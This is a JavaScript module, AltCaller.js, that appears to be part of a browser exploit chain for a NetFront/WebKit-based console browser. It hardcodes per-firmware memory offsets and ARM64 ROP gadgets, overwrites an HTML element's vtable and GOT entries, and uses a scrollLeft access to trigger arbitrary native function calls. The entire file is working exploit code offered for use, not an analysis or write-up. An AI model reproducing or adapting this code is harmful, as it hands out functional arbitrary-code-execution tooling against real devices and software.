AltCaller.js

/* eslint no-redeclare: "off" */
var utils = require('./utils');

function getChainVersion() {
	if (navigator.userAgent.indexOf('NF/4.0.0.4.25 ') !== -1) {
		return '1.0.0';
	} else if (navigator.userAgent.indexOf('NF/4.0.0.5.9 ') !== -1) {
		return '2.0.0';
	} else if (navigator.userAgent.indexOf('NF/4.0.0.5.10 ') !== -1) {
		return '2.1.0'; // and 2.2.0 and 2.3.0
	} else if (navigator.userAgent.indexOf('NF/4.0.0.6.9 ') !== -1) {
		return '3.0.0';
	} else if (navigator.userAgent.indexOf('NF/4.0.0.7.9 ') !== -1) {
		return '4.0.0'; // actually 4.0.1, but hopefully the same
	} else {
		throw new Error('AltCaller not supported');
	}
}

class AltCaller {
	constructor (sc) {
		this.chainVersion = getChainVersion();
		this.sc = sc;

		// webkit offsets
		var loadglobalfunc = utils.add2(sc.base, {
			'1.0.0': 0xEECE90,
			'2.0.0': 0xEA9720,
			'2.1.0': 0xEAA184,
			'3.0.0': 0xE93FA8,
			'4.0.0': 0xEB9800
		}[this.chainVersion]);

		var stacksavefunc = utils.add2(sc.base, {
			'1.0.0': 0xE85F24,
			'2.0.0': 0xE43078,
			'2.1.0': 0xE43ADC,
			'3.0.0': 0xE35674,
			'4.0.0': 0xE59E94
		}[this.chainVersion]);

		this.gotcallergadg = utils.add2(sc.base, {
			'1.0.0': 0xF6C97C,
			'2.0.0': 0xF264DC,
			'2.1.0': 0xF26F40,
			'3.0.0': 0xF1198C,
			'4.0.0': 0xF3AA78
		}[this.chainVersion]);

		this.globptr = utils.add2(sc.base, {
			'1.0.0': 0x183D000,
			'2.0.0': 0x180AA40,
			'2.1.0': 0x180AA40,
			'3.0.0': 0x17EF780,
			'4.0.0': 0x181DE50
		}[this.chainVersion]);

		var gotfuncptrs = utils.add2(sc.base, {
			'1.0.0': 0x1816D88,
			'2.0.0': 0x17E6BF0,
			'2.1.0': 0x17E6BF0,
			'3.0.0': 0x17CBA78,
			'4.0.0': 0x17FA090
		}[this.chainVersion]);

		this.gotptr = utils.add2(sc.base, {
			'1.0.0': 0x1813828,
			'2.0.0': 0x17E3700,
			'2.1.0': 0x17E3700,
			'3.0.0': 0x17C8A58,
			'4.0.0': 0x17F7068
		}[this.chainVersion]);

		var stackrestorefunc;
		if (this.chainVersion === '1.0.0') {
			stackrestorefunc = utils.add2(sc.base, 0xE85F44);
		} else {
			stackrestorefunc = utils.add2(stacksavefunc, 20);
		}

		var triggerElement = document.createElement('foo');
		this.triggerElement = triggerElement;

		var htmlElement = sc.read8(sc.getAddr(triggerElement), 0x18 >> 2);
		this.htmlElement = htmlElement;

		var htmlElementVtable = sc.read8(htmlElement, 0);
		this.htmlElementVtable = htmlElementVtable;

		var vtableSize = 0x490;
		var fakeVtable = sc.malloc(0x490);
		this.fakeVtable = fakeVtable;

		for (var i = 0; i < vtableSize; i += 8) {
			sc.write8(sc.read8(htmlElementVtable, i >> 2), fakeVtable, i >> 2);
		}

		var savegadg = sc.gadget([0x00, 0x04, 0x00, 0xa9, 0x02, 0x0c, 0x01, 0xa9, 0x04, 0x14, 0x02, 0xa9, 0x06, 0x1c, 0x03, 0xa9]);
		var loadgadg = sc.gadget([0x02, 0x0c, 0x41, 0xa9, 0x04, 0x14, 0x42, 0xa9, 0x06, 0x1c, 0x43, 0xa9, 0x08, 0x24, 0x44, 0xa9]);

		var savedContext = sc.malloc(0x210);
		var callContext = sc.malloc(0x210);
		this.callContextPointer = callContext;

		var pointerHolder = sc.malloc(0x100);
		this.pointerHolder = pointerHolder;

		sc.write8(savedContext, pointerHolder, 8 >> 2);
		sc.write8(callContext, pointerHolder, 0x10 >> 2);

		var stackSize = 1024 * 1024;
		var ropStart = 1022 * 1024;
		var callStack = sc.malloc(stackSize);

		this.stackArgsPointer = utils.add2(callStack, ropStart);

		sc.write8(this.stackArgsPointer, callContext, 0xF8 >> 2); // SP
		var calledReg;
		if (this.chainVersion == '1.0.0') {
			sc.write8(sc.gadget([0x20, 0x01, 0x3F, 0xD6, 0xFD, 0x7B, 0xC1, 0xA8, 0xC0, 0x03, 0x5F, 0xD6], true), callContext, 0x100 >> 2);
			/*
			  1674D8 BLR             X9
			  1674DC LDP             X29, X30, [SP],#0x10
			  1674E0 RET
			*/
			calledReg = 9;
		} else {
			sc.write8(sc.gadget([128, 2, 63, 214, 253, 123, 66, 169, 244, 79, 65, 169, 255, 195, 0, 145, 192, 3, 95, 214], true), callContext, 0x100 >> 2); // X30 (link register)
			/*
			  EF4FEC  BLR   X20
			  EF4FF0  LDP   X29, X30, [SP,#0x20]
			  EF4FF4  LDP   X20, X19, [SP,#0x10]
			  EF4FF8  ADD   SP, SP, #0x30
			  EF4FFC  RET
			*/
			calledReg = 20;
		}
		this.calledRegOffset = calledReg * 2;

		var stack = [];
		if (this.chainVersion !== '1.0.0') {
			stack = [
				0, // argument
				0, // argument
				0, // X20 (ignored / argument)
				0, // X19 (ignored / argument)
				0, // X29 (ignored / argument)
				sc.gadget([253, 123, 66, 169, 244, 79, 65, 169, 255, 195, 0, 145, 192, 3, 95, 214]), // X30
				/*
				  EF4FF0  LDP   X29, X30, [SP,#0x20]
				  EF4FF4  LDP   X20, X19, [SP,#0x10]
				  EF4FF8  ADD   SP, SP, #0x30
				  EF4FFC  RET
				*/

				0, // pad
				0  // pad
			];
		} else {
			stack = [
		      0, // X29 (ignored / argument)
		      sc.gadget([0xFD, 0x7B, 0x41, 0xA9,0xF4, 0x4F, 0xC2, 0xA8,0xC0, 0x03, 0x5F, 0xD6]) // X30
		      /*
		        LDP             X29, X30, [SP,#0x10]
		        LDP             X20, X19, [SP],#0x20
		        RET
		      */
			];
		}

		var storeX0toX20;
		if (this.chainVersion !== '1.0.0') {
			storeX0toX20 = [253, 123, 65, 169, 128, 2, 0, 249, 244, 79, 194, 168, 192, 3, 95, 214];
		} else {
			storeX0toX20 = [128, 2, 0, 249, 253, 123, 65, 169, 244, 79, 194, 168, 192, 3, 95, 214];
		}

		stack = stack.concat([
			pointerHolder, // X20 (location to store X0 to)
			0, // X19
			0, // X29
			sc.gadget(storeX0toX20, true), // X30

			// store the return value (X0) to X20 (saved context's X0)
			/*
			  F10610                 LDP             X29, X30, [SP,#0x10]
			  F10614                 STR             X0, [X20]
			  F10618                 LDP             X20, X19, [SP],#0x20
			  F1061C                 RET
			*/
			utils.add2(savedContext, 0x100), // X20
			stackrestorefunc, // X19 (value to store: LDP X29, X30, [SP],#0x10 ; RET)

			0, // X29
			sc.gadget([253, 123, 65, 169, 224, 3, 19, 170, 243, 7, 66, 248, 192, 3, 95, 214]), // X30

			/*
			  F1DC34                 LDP             X29, X30, [SP,#0x10]
			  F1DC38                 MOV             X0, X19
			  F1DC3C                 LDR             X19, [SP],#0x20
			  F1DC40                 RET
			*/

			0, // X19
			0, // pad
			0, // X29
			sc.gadget(storeX0toX20, true), // X30

			/*
			  F10610                 LDP             X29, X30, [SP,#0x10]
			  F10614                 STR             X0, [X20]
			  F10618                 LDP             X20, X19, [SP],#0x20
			  F1061C                 RET
			*/
			0, // X20
			savedContext, // X19
			0, // X29
			sc.gadget([253, 123, 65, 169, 224, 3, 19, 170, 243, 7, 66, 248, 192, 3, 95, 214]), // X30

			/*
			  F1DC34                 LDP             X29, X30, [SP,#0x10]
			  F1DC38                 MOV             X0, X19
			  F1DC3C                 LDR             X19, [SP],#0x20
			  F1DC40                 RET
			*/
			0, // X19
			0, // pad
			0, // X29
			loadgadg // X30
			// longjmp (load state)
		]);

		for (var i = 0; i < stack.length; i++) {
			if (stack[i] !== 0) {
				sc.write8(stack[i], this.stackArgsPointer, (i * 8) >> 2);
			}
		}

		sc.write8(stacksavefunc, fakeVtable, (61 * 8) >> 2);
		/*
		  E43ADC  STP X29, X30, [SP,#-0x10]!
		  E43AE0  MOV X29, SP
		  E43AE4  BL  wkcTextBreakIteratorLastPeer_0
		*/

		var values = [
			loadglobalfunc,
			/*
			  EAA184  ADRP  X8, #qword_180AA40@PAGE
			  EAA188  LDR   X0, [X8,#qword_180AA40@PAGEOFF]
			  EAA18C  RET
			*/
			sc.gadget([0, 4, 64, 249, 192, 3, 95, 214]),
			/*
			  F0E2AC  LDR   X0, [X0,#8]
			  F0E2B0  RET
			*/
			savegadg, // save context to X0 gadget
			loadglobalfunc,
			/*
			  EAA184  ADRP  X8, #qword_180AA40@PAGE
			  EAA188  LDR   X0, [X8,#qword_180AA40@PAGEOFF]
			  EAA18C  RET
			*/
			sc.gadget([0, 8, 64, 249, 192, 3, 95, 214]),
			/*
			  E899CC  LDR   X0, [X0,#0x10]
			  E899D0  RET
			*/
			loadgadg // load context from X0 gadget
		];

		this.magicView = new Uint32Array(new ArrayBuffer(6 * 8));
		this.backupView = new Uint32Array((6 * 8) / 4);
		this.newView = new Uint32Array((6 * 8) / 4);
		for (var i = 0; i < values.length; i++) {
			this.newView[i * 2] = values[i][0];
			this.newView[i * 2 + 1] = values[i][1];
		}
		sc.write8(gotfuncptrs, sc.getAddr(this.magicView), 0x10 >> 2); // got function pointers

		this.backupView.set(this.magicView);

		this.callContext = new Uint32Array(sc.allocated[callContext]);
		this.oldGotThing = sc.read8(this.gotptr);
	}

	// GPR only
	call (funcp) {
		var sc = this.sc;

		var argc = arguments.length - 1;
		if (argc > 13) {
			throw new Error('too many arguments');
		}

		var callContext = this.callContext;
		for (var i = 0; i < argc; i++) {
			var arg = arguments[i + 1];
			if (ArrayBuffer.isView(arg)) {
				arg = arg.buffer;
			}
			if (arg instanceof ArrayBuffer) {
				arg = sc.getArrayBufferAddr(arg);
			}

			if (typeof arg === 'number') {
				arg = [arg, 0];
			} else if (!(arg instanceof Array)) {
				throw new Error('invalid argument type');
			}

			if (i < 8) {
				callContext[i * 2] = arg[0];
				callContext[i * 2 + 1] = arg[1];
			} else if (this.chainVersion !== '1.0.0') {
				sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2);
			} else {
				throw new Error('too many arguments');
			}
		}

		var calledRegOffset = this.calledRegOffset;
		callContext[calledRegOffset] = funcp[0];
		callContext[calledRegOffset+1] = funcp[1];

		this.triggerCallImpl();

		return sc.read8(this.pointerHolder);
	}

	triggerCallImpl () {
		var sc = this.sc;

		sc.write8(this.fakeVtable, this.htmlElement, 0);

		sc.write8(this.gotcallergadg, this.gotptr, 0);
		/*
		  F26F40  BL  wkcSSLForceTerminatePeer_0
		  F26F44  BL  wkcNetForceTerminatePeer_0
		  F26F48  BL  wkcFileForceTerminatePeer_0
		  F26F4C  BL  wkcThreadForceTerminatePeer_0
		  F26F50  BL  wkcTimerForceTerminatePeer_0
		  F26F54  BL  wkcHeapForceTerminatePeer_0
		  F26F58  BL  wkcscoryForceTerminatePeer_0
		  F26F5C  BL  wkcDebugPrintForceTerminatePeer_0
		*/

		this.magicView.set(this.newView);
		var saved = sc.read8(this.globptr, 0);
		sc.write8(this.pointerHolder, this.globptr, 0);
		var out = this.triggerElement.scrollLeft >>> 0;
		sc.write8(saved, this.globptr, 0);

		this.magicView.set(this.backupView);
		sc.write8(this.oldGotThing, this.gotptr, 0);
		sc.write8(this.htmlElementVtable, this.htmlElement, 0);

		return out;
	}

	// "unsafe" functions allow a call to be repeated very quickly,
	// but don't perform automatic cleanup. the usual call interface
	// must not be used before unsafeCleanupCall has been invoked.
	// unsafeCleanupCall must be invoked or global data will be left
	// in an invalid state.
	unsafeSetupCall (funcp) {
		var sc = this.sc;

		var argc = arguments.length - 1;
		if (argc > 13) {
			throw new Error('too many arguments');
		}

		var callContext = this.callContext;
		for (var i = 0; i < argc; i++) {
			var arg = arguments[i + 1];
			if (typeof arg === 'number') {
				arg = [arg, 0];
			} else if (!(arg instanceof Array)) {
				throw new Error('invalid argument type');
			}

			if (i < 8) {
				callContext[i * 2] = arg[0];
				callContext[i * 2 + 1] = arg[1];
			} else if (this.chainVersion !== '1.0.0') {
				sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2);
			} else {
				throw new Error('too many arguments');
			}
		}
		var calledRegOffset = this.calledRegOffset;
		callContext[calledRegOffset] = funcp[0];
		callContext[calledRegOffset+1] = funcp[1];
		sc.write8(this.fakeVtable, this.htmlElement, 0);
		sc.write8(this.gotcallergadg, this.gotptr, 0);
		this.magicView.set(this.newView);
		this.saved = sc.read8(this.globptr, 0);
		sc.write8(this.pointerHolder, this.globptr, 0);
	}

	unsafeTriggerCall () {
		return this.triggerElement.scrollLeft;
	}

	unsafeCleanupCall () {
		this.sc.write8(this.saved, this.globptr, 0);
		this.magicView.set(this.backupView);
		this.sc.write8(this.oldGotThing, this.gotptr, 0);
		this.sc.write8(this.htmlElementVtable, this.htmlElement, 0);
	}
}

module.exports = AltCaller;